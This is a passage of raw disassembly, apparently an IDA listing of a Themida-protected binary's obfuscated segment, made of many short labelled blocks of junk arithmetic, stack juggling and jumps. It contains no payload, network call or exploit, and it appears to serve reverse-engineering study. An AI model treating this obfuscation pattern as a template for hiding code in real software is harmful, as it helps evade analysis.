		sub	esp, 4
		mov	[esp], edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		imul	ecx, eax
		jmp	loc_55F72F
; ---------------------------------------------------------------------------


loc_55E88F:				; CODE XREF: Themida_:00556F86j
		pop	ecx
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	1331h
		mov	[esp], edi
		push	edx
		jmp	loc_563B24
; ---------------------------------------------------------------------------


loc_55E8AD:				; CODE XREF: Themida_:00556124j
		push	0B0B0C702h
		jmp	loc_563684
; ---------------------------------------------------------------------------


loc_55E8B7:				; CODE XREF: Themida_:00558FACj
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	ebp, esi
		pop	esi
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 4CB20C3h
		shl	edi, 5
		jmp	loc_556ADE
; ---------------------------------------------------------------------------


loc_55E8DD:				; CODE XREF: Themida_:00562189j
		pop	edi
		add	esp, 4
		sub	ebp, 2801000h
		add	eax, ebp
		mov	ebp, [esp]
		jmp	loc_558EF2
; ---------------------------------------------------------------------------


loc_55E8F4:				; CODE XREF: Themida_:005608F2j
		sub	edx, 1ED57BACh
		pop	eax
		push	ecx
		mov	ecx, 6A024D0Fh
		shl	ecx, 8
		add	ecx, 0FFFFFFFFh
		shr	ecx, 4
		neg	ecx
		shr	ecx, 7
		jmp	loc_55FCB5
; ---------------------------------------------------------------------------


loc_55E914:				; CODE XREF: Themida_:00563907j
		mov	edx, ecx
		mov	edi, edx
		pop	edx
		jmp	loc_558E5C
; ---------------------------------------------------------------------------


loc_55E91E:				; CODE XREF: Themida_:0055FF22j
		pop	ecx
		neg	ecx
		xor	ecx, 468D7AB1h
		jmp	loc_557790
; ---------------------------------------------------------------------------


loc_55E92C:				; CODE XREF: Themida_:00556679j
		mov	ebp, edx
		pop	edx
		jmp	loc_559771
; ---------------------------------------------------------------------------


loc_55E934:				; CODE XREF: Themida_:0055A944j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 1470710Dh
		mov	edi, edx
		jmp	loc_564A75
; ---------------------------------------------------------------------------


loc_55E949:				; CODE XREF: Themida_:005608C1j
		mov	[esp], esi
		push	1DEE1704h
		pop	esi
		add	esi, 0E211E900h
		mov	ebp, esi
		jmp	loc_55D526
; ---------------------------------------------------------------------------


loc_55E95F:				; CODE XREF: Themida_:00554951j
		push	ebp
		jmp	loc_5634F5
; ---------------------------------------------------------------------------


loc_55E965:				; CODE XREF: Themida_:00565212j
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 4
		add	edi, 143B48C7h
		add	edi, ecx
		sub	edi, 143B48C7h
		jmp	loc_557518
; ---------------------------------------------------------------------------


loc_55E984:				; CODE XREF: Themida_:0055EE92j
		pop	esi
		push	ebp
		mov	ebp, 74594E5Dh
		add	ebx, 73D81043h
		sub	ebx, ebp
		push	edi
		mov	edi, 241F1A1Ah
		neg	edi
		xor	edi, 75030F82h
		jmp	loc_563ADB
; ---------------------------------------------------------------------------


loc_55E9A6:				; CODE XREF: Themida_:005659A4j
		push	dword ptr [esp]
		pop	edx
		jmp	loc_5560DD
; ---------------------------------------------------------------------------


loc_55E9AF:				; CODE XREF: Themida_:0055D455j
		sub	edi, 8BD3754h
		shl	edi, 4
		xor	edi, 0B5EB1F84h
		push	esi
		jmp	loc_5618A5
; ---------------------------------------------------------------------------


loc_55E9C4:				; CODE XREF: Themida_:00562B98j
		pop	edi
		push	0
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_553117
; ---------------------------------------------------------------------------


loc_55E9D5:				; CODE XREF: Themida_:00562FADj
		push	esi
		jmp	loc_55F922
; ---------------------------------------------------------------------------


loc_55E9DB:				; CODE XREF: Themida_:005568A6j
		add	eax, 671903A3h
		jmp	loc_563AB7
; ---------------------------------------------------------------------------


loc_55E9E5:				; CODE XREF: Themida_:00562170j
		pop	esp
		pop	ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_556FE3
; ---------------------------------------------------------------------------


loc_55E9F6:				; CODE XREF: Themida_:005622DCj
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_553C83
; ---------------------------------------------------------------------------


loc_55EA0D:				; CODE XREF: Themida_:005649D9j
		mov	edi, 76D83573h
		sub	eax, edi
		jmp	loc_557373
; ---------------------------------------------------------------------------


loc_55EA19:				; CODE XREF: Themida_:00561A47j
		dec	ebx
		add	ebx, 0E36A1CADh
		add	esi, ebx
		pop	ebx
		jmp	loc_55AD4A
; ---------------------------------------------------------------------------


loc_55EA28:				; CODE XREF: Themida_:005649CFj
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_55B991
; ---------------------------------------------------------------------------


loc_55EA31:				; CODE XREF: Themida_:00560793j
		push	edi
		push	ebp
		push	3C7215BAh
		jmp	loc_55EF7B
; ---------------------------------------------------------------------------


loc_55EA3D:				; CODE XREF: Themida_:00562E8Bj
		pop	eax
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	75A7h
		mov	[esp], edx
		mov	edx, 15FE0301h
		push	ecx
		mov	ecx, 7FCD743Ah
		jmp	loc_554372
; ---------------------------------------------------------------------------


loc_55EA5D:				; CODE XREF: Themida_:0055579Dj
		xchg	ecx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 6DE94B01h
		jmp	loc_561F96
; ---------------------------------------------------------------------------


loc_55EA71:				; CODE XREF: Themida_:00552CAEj
		push	ecx
		mov	ecx, 639526F6h
		shr	ecx, 4
		add	ecx, 0FFFFFFFFh
		jmp	loc_5619C4
; ---------------------------------------------------------------------------


loc_55EA85:				; CODE XREF: Themida_:0055A04Aj
		sub	ebp, edx
		pop	edx
		xor	ecx, ebp
		pop	ebp
		add	eax, ecx
		jmp	loc_555350
; ---------------------------------------------------------------------------


loc_55EA92:				; CODE XREF: Themida_:00559E3Fj
		push	esi
		push	ebp
		push	4E83428Dh
		pop	ebp
		push	ebx
		push	edi
		mov	edi, 4A9D7676h
		jmp	loc_55B698
; ---------------------------------------------------------------------------


loc_55EAA6:				; CODE XREF: Themida_:00564E8Bj
		mov	ebp, 5E113248h
		jmp	loc_563FAE
; ---------------------------------------------------------------------------


loc_55EAB0:				; CODE XREF: Themida_:0055AAAEj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	bh, 0ADh
		jmp	loc_5603B4
; ---------------------------------------------------------------------------


loc_55EAC7:				; CODE XREF: Themida_:0055FA56j
		add	ebx, 32857D33h
		pop	eax
		jmp	loc_55B33E
; ---------------------------------------------------------------------------


loc_55EAD3:				; CODE XREF: Themida_:005519F1j
		push	esi
		jmp	loc_55648F
; ---------------------------------------------------------------------------


loc_55EAD9:				; CODE XREF: Themida_:0055B133j
		add	edi, ecx
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_55E86F
; ---------------------------------------------------------------------------


loc_55EAF2:				; CODE XREF: Themida_:00553915j
		xor	edx, 142C2373h
		sub	edx, 0F6C62EBFh
		add	ecx, edx
		pop	edx
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		push	ebp
		mov	ebp, 3EFF0C61h
		jmp	loc_55067E
; ---------------------------------------------------------------------------


loc_55EB1C:				; CODE XREF: Themida_:00557DC8j
		shl	edx, 3
		push	ebp
		mov	ebp, 0E02378D4h
		sub	edx, ebp
		pop	ebp
		jmp	loc_5646EB
; ---------------------------------------------------------------------------


loc_55EB2D:				; CODE XREF: Themida_:0055528Aj
		mov	edi, [esp]
		add	esp, 4
		add	edx, 462154D8h
		jmp	loc_55F736
; ---------------------------------------------------------------------------


loc_55EB41:				; CODE XREF: Themida_:0055C979j
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_55D636
; ---------------------------------------------------------------------------


loc_55EB4C:				; CODE XREF: Themida_:00552C17j
		add	esp, 4
		xchg	esi, [esp]
		pop	esp
		push	small 2660h
		mov	[esp], bx
		push	1E29h
		mov	[esp], ecx
		mov	ch, 0CBh
		push	0
		add	byte ptr [esp],	7
		jmp	loc_559D16
; ---------------------------------------------------------------------------


loc_55EB73:				; CODE XREF: Themida_:0055F76Bj
		push	2C5Fh
		mov	[esp], ecx
		jmp	loc_551491
; ---------------------------------------------------------------------------


loc_55EB80:				; CODE XREF: Themida_:00552811j
		pop	esp
		push	edx
		mov	dl, 6Fh
		push	bx
		mov	bh, 34h
		sub	dl, bh
		jmp	loc_563E86
; ---------------------------------------------------------------------------


loc_55EB8F:				; CODE XREF: Themida_:0055772Fj
		add	al, dl
		pop	dx
		jmp	loc_55A813
; ---------------------------------------------------------------------------


loc_55EB98:				; CODE XREF: Themida_:005633F6j
		mov	ebx, [esp]
		jmp	loc_55C52F
; ---------------------------------------------------------------------------


loc_55EBA0:				; CODE XREF: Themida_:0055C101j
		add	dh, 0F0h
		add	dh, 0E5h
		mov	bh, dh
		pop	edx
		jmp	loc_562D6D
; ---------------------------------------------------------------------------


loc_55EBAE:				; CODE XREF: Themida_:005553EAj
		add	eax, 4E84BFCEh
		sub	ebx, 34977A1Ch
		sub	ebx, eax
		jmp	loc_55423B
; ---------------------------------------------------------------------------


loc_55EBC0:				; CODE XREF: Themida_:005581ECj
		push	ebx
		mov	ebx, ebp
		push	ebx
		pop	eax
		pop	ebx
		mov	ebp, [esp]
		jmp	loc_55A832
; ---------------------------------------------------------------------------


loc_55EBCE:				; CODE XREF: Themida_:00562461j
		dec	ebx
		xor	ebx, 2897AAEh
		mov	ecx, ebx
		pop	ebx
		jmp	loc_55A50F
; ---------------------------------------------------------------------------


loc_55EBDD:				; CODE XREF: Themida_:00551C95j
		add	edx, ebx
		jmp	loc_55C1A0
; ---------------------------------------------------------------------------


loc_55EBE4:				; CODE XREF: Themida_:0055FBE5j
		pop	eax
		add	esp, 4
		sub	ebx, 42ED3787h
		add	ebp, ebx
		jmp	loc_55FF35
; ---------------------------------------------------------------------------


loc_55EBF8:				; CODE XREF: Themida_:005647CDj
		pop	esp
		mov	[esp], eax
		mov	eax, esp
		push	edi
		mov	edi, 0AB44BAEh
		shr	edi, 8
		shr	edi, 8
		or	edi, 73FB6899h
		jmp	loc_553E9B
; ---------------------------------------------------------------------------


loc_55EC15:				; CODE XREF: Themida_:00560EA5j
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_56381E
; ---------------------------------------------------------------------------


loc_55EC28:				; CODE XREF: Themida_:0055675Aj
		add	esp, 4
		pop	edi
		push	ebp
		push	250h
		mov	[esp], eax
		push	4D0643Ah
		pop	eax
		xor	eax, 3C620338h
		push	eax
		pop	ebp
		mov	eax, [esp]
		add	esp, 4
		push	esi
		push	edi
		push	25B9h
		mov	[esp], ebp
		mov	ebp, 1A813C2Ah
		mov	edi, 5333A32Dh
		sub	edi, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], edi
		pop	esi
		mov	edi, [esp]
		jmp	loc_55077A
; ---------------------------------------------------------------------------


loc_55EC77:				; CODE XREF: Themida_:00550D44j
		push	ebp
		push	edi
		push	31283817h
		pop	edi
		shr	edi, 8
		jmp	loc_55FD14
; ---------------------------------------------------------------------------


loc_55EC87:				; CODE XREF: Themida_:0056048Cj
		mov	[esp], esi
		push	edx
		push	56C10B2Bh
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_564B4E
; ---------------------------------------------------------------------------


loc_55EC9B:				; CODE XREF: Themida_:00555DFDj
		mov	ecx, 6B875D13h
		neg	ecx
		add	ecx, 393F2144h
		jmp	loc_560F9D
; ---------------------------------------------------------------------------


loc_55ECAD:				; CODE XREF: Themida_:00561891j
		sub	eax, ebx
		add	eax, 6BDE5BBBh
		sub	eax, 209135FFh
		sub	eax, 43AF6A7Dh
		jmp	loc_55F23C
; ---------------------------------------------------------------------------


loc_55ECC3:				; CODE XREF: Themida_:00560A43j
		mov	ebx, 6B440506h
		dec	ebx
		xor	ebx, 352663F8h
		sub	ebx, 5E6266F9h
		jmp	loc_556540
; ---------------------------------------------------------------------------


loc_55ECDA:				; CODE XREF: Themida_:0055ADC0j
		pop	edx
		sub	al, 8
		push	small 792Bh
		jmp	loc_55EE31
; ---------------------------------------------------------------------------


loc_55ECE6:				; CODE XREF: Themida_:0056305Cj
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_564187
; ---------------------------------------------------------------------------


loc_55ECF1:				; CODE XREF: Themida_:0055A702j
		add	edi, ebx
		jmp	loc_556C6B
; ---------------------------------------------------------------------------


loc_55ECF8:				; CODE XREF: Themida_:0055D0E8j
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		sub	edi, eax
		pop	eax
		sub	edi, 70216A5Bh
		sub	edi, 77054E89h
		add	edi, ecx
		add	edi, 77054E89h
		add	edi, 70216A5Bh
		add	edi, 7E21219Ah
		std
		push	43DDh
		mov	[esp], eax
		mov	eax, esp
		push	edi
		jmp	loc_55503C
; ---------------------------------------------------------------------------


loc_55ED41:				; CODE XREF: Themida_:00564305j
		add	esp, 4
		jmp	loc_557AF1
; ---------------------------------------------------------------------------


loc_55ED4C:				; CODE XREF: Themida_:00553545j
		sub	ebx, 7354614Fh
		sub	ebx, esi
		push	467h
		mov	[esp], esi
		mov	esi, 77E03DF8h
		sub	esi, 48BDCA9h
		add	ebx, esi
		pop	esi
		sub	ebx, 0FD411DEh
		jmp	loc_55777F
; ---------------------------------------------------------------------------


loc_55ED75:				; CODE XREF: Themida_:005566BFj
		push	edx
		mov	edx, 278C7679h
		shl	edx, 7
		jmp	loc_55C4F3
; ---------------------------------------------------------------------------


loc_55ED83:				; CODE XREF: Themida_:005529A9j
		inc	eax
		push	ecx
		mov	ecx, 18166449h
		xor	eax, ecx
		jmp	loc_552AF8
; ---------------------------------------------------------------------------


loc_55ED91:				; CODE XREF: Themida_:00550775j
		xor	al, 0A1h
		or	dl, al
		pop	eax
		jmp	loc_55A7CB
; ---------------------------------------------------------------------------


loc_55ED9B:				; CODE XREF: Themida_:005607E9j
		mov	edx, 0
		sub	edx, 4DC109C7h
		sub	edx, ecx
		add	edx, 4DC109C7h
		push	esi
		mov	esi, edx
		jmp	loc_561AEE
; ---------------------------------------------------------------------------


loc_55EDB6:				; CODE XREF: Themida_:0055A760j
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	3358h
		jmp	loc_562C6F
; ---------------------------------------------------------------------------


loc_55EDCA:				; CODE XREF: Themida_:00555940j
		and	al, 77h
		sub	al, 7Bh
		or	al, 0F1h
		push	ebx
		jmp	loc_554B53
; ---------------------------------------------------------------------------


loc_55EDD6:				; CODE XREF: Themida_:005514E1j
		xor	ecx, eax
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], ecx
		xor	[esp], edx
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_552FE5
; ---------------------------------------------------------------------------


loc_55EDEE:				; CODE XREF: Themida_:0055FD2Fj
		sub	eax, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		sub	dword ptr [esp], 1F7F0D86h
		add	[esp], eax
		push	904h
		jmp	loc_558931
; ---------------------------------------------------------------------------


loc_55EE0E:				; CODE XREF: Themida_:00552144j
		mov	ebp, esp
		push	ebx
		mov	ebx, 3DA172DCh
		jmp	loc_551EAE
; ---------------------------------------------------------------------------


loc_55EE1B:				; CODE XREF: Themida_:00557C86j
		sub	ecx, 1F59481Ch
		jmp	loc_55AA4B
; ---------------------------------------------------------------------------


loc_55EE26:				; CODE XREF: Themida_:00559A12j
		add	ebx, 4
		jmp	loc_55C893
; ---------------------------------------------------------------------------


loc_55EE31:				; CODE XREF: Themida_:0055ECE1j
		mov	[esp], dx
		push	eax
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_559A92
; ---------------------------------------------------------------------------


loc_55EE41:				; CODE XREF: Themida_:00557BD6j
		add	ebx, 3CD23762h
		inc	ebx
		shl	ebx, 4
		and	ebx, 5E361994h
		add	ebx, 174B53C3h
		add	edi, ebx
		pop	ebx
		push	eax
		push	146661DBh
		pop	eax
		add	edi, 1C6B580Ch
		sub	edi, eax
		sub	edi, 1C6B580Ch
		pop	eax
		push	eax
		jmp	loc_554AF5
; ---------------------------------------------------------------------------


loc_55EE76:				; CODE XREF: Themida_:00560DBCj
		xor	ebx, 0E9763F89h
		xor	ecx, ebx
		pop	ebx
		jmp	loc_5604DB
; ---------------------------------------------------------------------------


loc_55EE84:				; CODE XREF: Themida_:00551753j
		push	52DB1B7Ch
		pop	esi
		sub	esi, 52DB1B7Ah
		mov	edx, esi
		jmp	loc_55E984
; ---------------------------------------------------------------------------


loc_55EE97:				; CODE XREF: Themida_:00551B6Bj
		mov	esp, [esp]
		mov	ax, [esp]
		push	eax
		sub	esp, 4
		jmp	loc_560B83
; ---------------------------------------------------------------------------


loc_55EEA7:				; CODE XREF: Themida_:00563374j
		push	edx
		jmp	loc_55CF5F
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	5850h
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	3FA8h
		mov	[esp], eax
		push	4
		pop	eax
		push	ebp
		mov	ebp, 24AC71B7h
		not	ebp
		and	ebp, 77724951h
		add	ebp, 0D9924F31h
		push	ecx
		mov	ecx, 39D30A3Eh
		jmp	loc_564503
; ---------------------------------------------------------------------------


loc_55EEED:				; CODE XREF: Themida_:00564D1Bj
		cmp	ecx, eax
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_55EEF5:				; CODE XREF: Themida_:0055759Fj
		pop	esi
		add	esp, 4
		add	esi, 5B1DCB3Dh
		sub	eax, 7F207A9Ah
		jmp	loc_55DF31
; ---------------------------------------------------------------------------


loc_55EF09:				; CODE XREF: Themida_:0055BDEFj
		pop	ebx
		jmp	loc_55AD6C
; ---------------------------------------------------------------------------


loc_55EF0F:				; CODE XREF: Themida_:005519BBj
		mov	ah, dh
		jmp	loc_56079F
; ---------------------------------------------------------------------------


loc_55EF16:				; CODE XREF: Themida_:00555CD0j
		mov	[esp], ecx
		jmp	loc_560A0F
; ---------------------------------------------------------------------------


loc_55EF1E:				; CODE XREF: Themida_:00557251j
		pop	edi
		push	esi
		mov	esi, 59BB353Dh
		xor	ebx, esi
		pop	esi
		push	ebx
		add	dword ptr [esp], 0FFFFFFFFh
		pop	ebx
		jmp	loc_5551D9
; ---------------------------------------------------------------------------


loc_55EF33:				; CODE XREF: Themida_:005567F3j
		pop	esp
		mov	[esp], edx
		mov	edx, 38002E0Bh
		sub	eax, edx
		pop	edx
		jmp	loc_55DDC8
; ---------------------------------------------------------------------------


loc_55EF44:				; CODE XREF: Themida_:00557446j
		pop	esp
		push	ebp
		mov	ebp, 2
		add	ecx, ebp
		pop	ebp
		push	ecx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_555820
; ---------------------------------------------------------------------------


loc_55EF5B:				; CODE XREF: Themida_:0056213Ej
		sub	edx, 8051B3E6h
		sub	ebp, 264D1577h
		jmp	loc_56034F
; ---------------------------------------------------------------------------


loc_55EF6C:				; CODE XREF: Themida_:005560C5j
		push	esi
		push	ebx
		mov	ebx, 2010222Bh
		mov	esi, ebx
		pop	ebx
		jmp	loc_563DA4
; ---------------------------------------------------------------------------


loc_55EF7B:				; CODE XREF: Themida_:0055EA38j
		pop	ebp
		jmp	loc_55DD64
; ---------------------------------------------------------------------------


loc_55EF81:				; CODE XREF: Themida_:00558092j
		push	edx
		mov	edx, 0EDC077Bh
		shl	edx, 6
		xor	edx, 3AD6033Ch
		sub	edx, 40C481F0h
		sub	ebx, 259D76F9h
		add	ebx, edx
		add	ebx, 259D76F9h
		pop	edx
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_55528F
; ---------------------------------------------------------------------------


loc_55EFB0:				; CODE XREF: Themida_:00563CABj
		mov	ebx, 0EA33C7Dh
		not	ebx
		shl	ebx, 3
		jmp	loc_56006E
; ---------------------------------------------------------------------------


loc_55EFBF:				; CODE XREF: Themida_:005556E0j
		mov	ebp, 32426CC6h
		sub	[esp+4], ebp
		pop	ebp
		mov	edx, [esp]
		jmp	loc_556EF1
; ---------------------------------------------------------------------------


loc_55EFD1:				; CODE XREF: Themida_:005522BCj
		mov	[esp], eax
		push	ebp
		jmp	loc_5643C4
; ---------------------------------------------------------------------------


loc_55EFDA:				; CODE XREF: Themida_:0055BA4Cj
		pop	eax
		sub	dl, bh
		add	dl, 0DBh
		mov	ebx, [esp]
		add	esp, 4
		sub	al, 6Bh
		jmp	loc_55AEE2
; ---------------------------------------------------------------------------


loc_55EFF0:				; CODE XREF: Themida_:0055D31Aj
		pop	eax
		sub	esi, ebx
		pop	ebx
		jmp	loc_55B6FF
; ---------------------------------------------------------------------------


loc_55EFF9:				; CODE XREF: Themida_:0056279Ej
		mov	bh, [esp+2]
		mov	[esp+2], dl
		mov	dx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebx
		mov	ebx, 2
		add	ecx, ebx
		pop	ebx
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_55F020:				; CODE XREF: Themida_:00561DABj
		add	eax, esi
		mov	esi, [esp]
		jmp	loc_556509
; ---------------------------------------------------------------------------


loc_55F02A:				; CODE XREF: Themida_:0055616Bj
		push	277h
		mov	[esp], ebp
		mov	ebp, 6B6D538Fh
		push	3E8Ch
		mov	[esp], ebp
		jmp	loc_55370B
; ---------------------------------------------------------------------------


loc_55F044:				; CODE XREF: Themida_:00563297j
		add	eax, 29760E7Bh
		jmp	loc_562E1E
; ---------------------------------------------------------------------------


loc_55F04E:				; CODE XREF: Themida_:00565929j
		shl	ecx, 4
		push	edi
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_55F50D
; ---------------------------------------------------------------------------


loc_55F05D:				; CODE XREF: Themida_:00556B4Cj
		sub	ecx, edi
		pop	edi
		jmp	loc_560033
; ---------------------------------------------------------------------------


loc_55F065:				; CODE XREF: Themida_:00563F65j
		push	edx
		mov	edx, 1BB10711h
		dec	edx
		not	edx
		add	edx, 1BB10715h
		mov	esi, edx
		pop	edx
		jmp	loc_55ADC5
; ---------------------------------------------------------------------------


loc_55F07C:				; CODE XREF: Themida_:00555D11j
		push	edi
		jmp	loc_55F396
; ---------------------------------------------------------------------------


loc_55F082:				; CODE XREF: Themida_:00550580j
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	7CDEh
		mov	[esp], esi
		push	25D2h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		jmp	loc_550C4D
; ---------------------------------------------------------------------------


loc_55F0CF:				; CODE XREF: Themida_:00564395j
		pop	edi
		sub	esp, 4
		jmp	loc_5626BA
; ---------------------------------------------------------------------------


loc_55F0D8:				; CODE XREF: Themida_:0055E191j
		xchg	ebp, [esp]
		mov	esp, [esp]
		bt	[esp], ax
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_55F0E9:				; CODE XREF: Themida_:005642CBj
		not	eax
		sub	eax, 0A5DF9F7h
		add	ecx, eax
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		push	eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		push	ebx
		mov	ebx, 4
		jmp	loc_55CE1C
; ---------------------------------------------------------------------------


loc_55F11C:				; CODE XREF: Themida_:0055FDF9j
		sub	esp, 2
		mov	[esp], cx
		mov	ch, 0D2h
		add	al, ch
		mov	cx, [esp]
		jmp	loc_55887D
; ---------------------------------------------------------------------------


loc_55F130:				; CODE XREF: Themida_:00565B78j
		mov	eax, edi
		jmp	loc_55672C
; ---------------------------------------------------------------------------


loc_55F137:				; CODE XREF: Themida_:00561320j
		add	ebx, 4
		jmp	loc_557440
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_55F545
; ---------------------------------------------------------------------------


loc_55F148:				; CODE XREF: Themida_:00560918j
		push	ebx
		mov	ebx, 121F67D9h
		and	ebx, 2601331Fh
		push	ecx
		mov	ecx, 37923609h
		sub	ecx, 12A07EFDh
		add	ecx, 0F4FA6FB5h
		or	ebx, ecx
		jmp	loc_559B05
; ---------------------------------------------------------------------------


loc_55F16D:				; CODE XREF: Themida_:00554408j
		shr	eax, 2
		shl	eax, 7
		add	eax, 17496A1Fh
		sub	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		sub	ebx, 48FA09C5h
		sub	ebx, ecx
		jmp	loc_55C7B1
; ---------------------------------------------------------------------------


loc_55F18D:				; CODE XREF: Themida_:0055982Ej
		push	ebp
		mov	ebp, 0DB796148h
		jmp	loc_55B2D2
; ---------------------------------------------------------------------------


loc_55F198:				; CODE XREF: Themida_:00562F80j
		sub	esi, 79A516DCh
		add	esi, edx
		add	esi, 79A516DCh
		push	ebp
		push	5E61h
		mov	[esp], edx
		mov	edx, 57241459h
		mov	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		push	0BBCh
		mov	[esp], ebp
		jmp	loc_55B188
; ---------------------------------------------------------------------------


loc_55F1C9:				; CODE XREF: Themida_:00551833j
		sub	ebp, 76AF04C3h
		jmp	loc_5612F4
; ---------------------------------------------------------------------------
		push	small 1906h
		push	small 8B7h
		push	sp
		pop	small word ptr [esp]
		sub	esp, 2
		mov	[esp], di
		push	eax
		mov	ax, 2
		push	ax
		add	word ptr [esp],	289Ch
		pop	di
		sub	di, 289Ch
		jmp	loc_55BF90
; ---------------------------------------------------------------------------


loc_55F202:				; CODE XREF: Themida_:0055BA40j
		push	edi
		mov	edi, 32AC16BFh
		jmp	loc_55B8FF
; ---------------------------------------------------------------------------


loc_55F20D:				; CODE XREF: Themida_:00560270j
		dec	ecx
		sub	ecx, 7AE5A543h
		jmp	loc_551527
; ---------------------------------------------------------------------------


loc_55F219:				; CODE XREF: Themida_:00553864j
		sub	esp, 4
		mov	[esp], ebx
		push	ecx
		jmp	loc_555457
; ---------------------------------------------------------------------------


loc_55F228:				; CODE XREF: Themida_:005526A4j
		add	ecx, 4
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_55FBCC
; ---------------------------------------------------------------------------


loc_55F23C:				; CODE XREF: Themida_:0055ECBEj
		push	610Ch
		mov	[esp], esi
		mov	esi, 70EB34E9h
		push	11E3h
		mov	[esp], ebp
		mov	ebp, 0D4FA7EB3h
		push	edi
		jmp	loc_555A21
; ---------------------------------------------------------------------------


loc_55F25C:				; CODE XREF: Themida_:00560653j
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_55F261:				; CODE XREF: Themida_:0055E3E9j
		shl	ebp, 5
		jmp	loc_55F618
; ---------------------------------------------------------------------------


loc_55F269:				; CODE XREF: Themida_:0055D8F2j
		pop	ecx
		jmp	loc_556E73
; ---------------------------------------------------------------------------


loc_55F26F:				; CODE XREF: Themida_:00565B54j
		pop	ecx
		add	esp, 4
		xor	esi, 0D076B94Bh
		jmp	loc_552D24
; ---------------------------------------------------------------------------


loc_55F27E:				; CODE XREF: Themida_:00554FA0j
		mov	eax, esp
		add	eax, 4
		push	2440h
		mov	[esp], esi
		jmp	loc_550B38
; ---------------------------------------------------------------------------


loc_55F292:				; CODE XREF: Themida_:0055B8A9j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_55303B
; ---------------------------------------------------------------------------


loc_55F2A2:				; CODE XREF: Themida_:00554F33j
		add	ecx, eax
		jmp	loc_5634C1
; ---------------------------------------------------------------------------


loc_55F2A9:				; CODE XREF: Themida_:0055E3B6j
		pop	esp
		mov	[esp], esi
		mov	esi, esp
		push	5091h
		jmp	loc_560736
; ---------------------------------------------------------------------------


loc_55F2B9:				; CODE XREF: Themida_:005580C6j
		add	edi, 13376DEBh
		xor	edi, 13D3020h
		add	edi, 6D06707Dh
		sub	edi, 0F9CF9A70h
		sub	ebp, 6E817709h
		add	ebp, edi
		add	ebp, 6E817709h
		pop	edi
		or	esi, ebp
		jmp	loc_555093
; ---------------------------------------------------------------------------


loc_55F2E7:				; CODE XREF: Themida_:0055A5E3j
		add	ebx, eax
		add	ebx, 68A03A04h
		pop	eax
		xchg	ebx, [esp]
		jmp	loc_55BF04
; ---------------------------------------------------------------------------


loc_55F2F8:				; CODE XREF: Themida_:00563632j
		mov	ecx, 6E3E77B4h
		not	ecx
		shl	ecx, 8
		sub	ecx, 3C1A30E1h
		inc	ecx
		add	ecx, 68C4F19Ah
		add	ebx, ecx
		pop	ecx
		mov	ecx, ebx
		jmp	loc_554F17
; ---------------------------------------------------------------------------


loc_55F319:				; CODE XREF: Themida_:0055F5B9j
		add	ebp, 149D2ECEh
		pop	edx
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		push	4C4Dh
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_560A3F
; ---------------------------------------------------------------------------


